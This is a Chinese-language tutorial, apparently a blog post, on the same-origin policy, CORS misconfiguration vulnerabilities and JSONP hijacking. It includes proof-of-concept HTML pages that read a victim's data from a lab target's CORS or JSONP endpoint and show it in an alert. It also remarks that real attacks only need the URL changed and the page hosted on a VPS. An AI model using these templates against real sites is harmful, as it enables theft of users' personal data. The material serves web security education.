目录
一、同源策略
1.什么是同源策略
同源策略 SOP(Same Origin Policy)是一种约定,他是浏览器最核心也最基本的安全功能,很大程序上防止了XSS、CSRF攻击.
一个完整的uri分为以下几个部分,当请求的url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域(不同源),即使不同域名指向同一个IP也不可以.
为了更好的解释这个概念 , 以http://www.example.com/dir/index.html为例 , 大家观看那些是同源的
HTML标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地 js 执行<img src="..."> //图片<link href="..."> //css<iframe src="..."> //任意资源
二.CORS
1.什么是CORS
2.CORS跨域漏洞
Access-Control-Allow-Origin :指定哪些外域可以访问本域资源;Access-Control-Allow-Credentials :指定浏览器是否将使用请求发送 Cookie 。仅当设置 true时,才会发送 Cookie ;默认是 falseAccess-Control-Allow-Methods :指定可以使用哪些 HTTP 请求方法( GET 、 POST 、 PUT 、 DELETE 等)来访问资源;Access-Control-Allow-Headers :指定可以在请求报文中添加的 HTTP 头字段;Access-Control-Max-Age :指定超时时间;
3.案例演示
靶场地址
http://1.15.136.212:8080/cors1
可以很明显的看到个人的敏感信息 , 接下来抓包探测是否存在cors
从响应包中可以看到可能存在CORS漏洞
<html><head><script type = "text/javascript" >// 当前窗口加载完毕 , 执行 cors 函数window . onload = function cors () {// 初始化一个 xhttp 变量var xhttp = new XMLHttpRequest ();xhttp . onreadystatechange = function () {if ( this . readyState == 4 && this . status == 200 ) {document . getElementById ( "demo" ). innerHTML = alert (this . responseText);}};xhttp . open ( "GET" , "http://1.15.136.212:8080/cors1" , true ); // 只需要修改存在cors 的 url 即可xhttp . withCredentials = false ;xhttp . send ();};</script></head><body><textarea id = "demo" ></textarea></body></html>
![](https://i-blog.csdnimg.cn/blog_migrate/0ffdc70f20bd938916e864e15f2f56c9.png)
4.漏洞危害
三.JSONP
1.JSONP劫持漏洞
2.案例演示
http://192.168.174.1/NEW/jsonp/user.php?callback=jsonp2
<!DOCTYPE html><html><head><meta charset = "utf-8" ><title> jsonp 劫持 </title><script src = "http://apps.badimg.com/libs/jquery/1.10.2/jquery.min.js" ></script></head><body><script>function jsonp2 ( data ){alert ( JSON . stringify ( data ));}</script><script src = "http://192.168.174.1/jsonp/user.php?callback=jsonp2" ></script></body></html>
然后访问
http://192.168.174.1/NEW/Jsonp/jsonp.html #在自己的web服务下创建的HTML
实战中只需要修改src对应的值 , 并把该文件放在vps上即可
1. 用户在网站 A 注册的能路,网站 A 接口返回数据包含用户的 id , name , email 等,个人用户数据。2. 用户打开攻击者发送给用户的 URL ,向网站 B 发起请求3. 网站 B 向用户返回响应页面,响应页面中包含回调函数和向网站 A 请求的 script 标签。<script>function jsonp2(data){alert(JSON.stringify(data));}</script><script src="https://www.xxx.com/api?callback=jsonp2"></script>4. 用户收到响应后,解析 JS 代码,将回调函数作为参数向网站 A 发送请求。5. 网站 A 收到请求后,以 JSON 格式生成请求需要的数据(用户信息)将数据作为回调函数的参数返回给浏览器。json2({"id":1,"name":"test","email":"test@test.com"})6. 网站 B 收到响应数据后,浏览器自动执行回调函数,将返回的数据进行弹窗处理
3.JSONP的危害
攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息.
四.JSONP和CORS的区别
JSONP的原理是动态创建script标签
1.JSONP发送的不是ajax请求
2.JSONP不支持post请求
3.JSONP没有兼容问题
CORS中文意思是跨域资源共享,需要在服务器端设置cops配置
1.CORS发送的是真正的ajax请求
2.CORS既支持get 又支持post